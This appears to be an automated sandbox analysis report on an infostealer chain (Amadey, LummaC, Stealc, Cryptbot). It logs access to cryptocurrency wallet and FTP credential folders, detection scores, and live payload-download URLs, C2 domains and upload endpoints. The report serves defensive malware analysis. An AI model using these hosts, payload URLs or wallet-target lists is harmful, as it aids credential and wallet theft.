Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW

Source: Yara match	File source: 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4fa13d4e43.exe PID: 2356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8b77671daf.exe PID: 1048, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4fa13d4e43.exe PID: 2356, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000002D.00000002.3342170968.0000000000261000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3342170968.0000000000334000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3273961695.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8b77671daf.exe PID: 1048, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007AEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		5_2_007AEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007ADF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		5_2_007ADF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	14 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	412 Process Injection	41 Obfuscated Files or Information	Security Account Manager	258 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	121 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	56%	Virustotal		Browse
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://185.215.113.16/well/random.exe=NyZ;	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exeqN5Z1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exezj	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/pi	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe5999001	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exea5	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.execE	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe68.2.5	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe16/well/random.exe	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exeI	0%	Avira URL Cloud	safe
http://home.fivegr5sb.top/kJZQfgRLErzqwUgdaDCN1734167391	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exeQ:b	0%	Avira URL Cloud	safe
http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391	0%	Avira URL Cloud	safe
http://fivegr5sb.top/v1/upload.php	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe613G:p	0%	Avira URL Cloud	safe
http://home.fivegr5sb.top/kJZQfgRLErzqwUgdaDCN17	0%	Avira URL Cloud	safe
https://tacitglibbr.biz:443/api	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/o	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exea5ceLMEMP	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/d	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/.	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpku	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
tacitglibbr.biz	104.21.50.161	true	false	high
home.fivegr5sb.top	141.8.192.141	true	false	high
fivegr5sb.top	141.8.192.141	true	false	high
www.google.com	142.250.181.68	true	false	high
httpbin.org	44.196.3.45	true	false	high
dare-curbys.biz	unknown	unknown	false	high
impend-differ.biz	unknown	unknown	false	high
zinc-sneark.biz	unknown	unknown	false	high
covery-mover.biz	unknown	unknown	false	high
formy-spill.biz	unknown	unknown	false	high
se-blurry.biz	unknown	unknown	false	high
print-vexer.biz	unknown	unknown	false	high
dwell-exclaim.biz	unknown	unknown	false	high
drive-connect.cyou	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
http://185.215.113.206/	false		high
formy-spill.biz	false		high
185.215.113.206/c4becf79229cb002.php	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
http://home.fivegr5sb.top/kJZQfgRLErzqwUgdaDCN1734167391	true	Avira URL Cloud: safe	unknown
http://fivegr5sb.top/v1/upload.php	true	Avira URL Cloud: safe	unknown
dwell-exclaim.biz	false		high
se-blurry.biz	false		high
https://tacitglibbr.biz/api	false		high
https://httpbin.org/ip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/	4fa13d4e43.exe, 00000027.00000003.3294407745.0000000005373000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3321429872.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3320804078.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3297963986.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3294148112.0000000005372000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3293982285.000000000536A000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3339036190.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3352701908.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3298953440.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3339359350.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/pi	4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.gstatic.cn/recaptcha/	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe=NyZ;	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exezj	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exeqN5Z1	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.execE	skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exeI	skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe5999001	skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e	f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	false		high
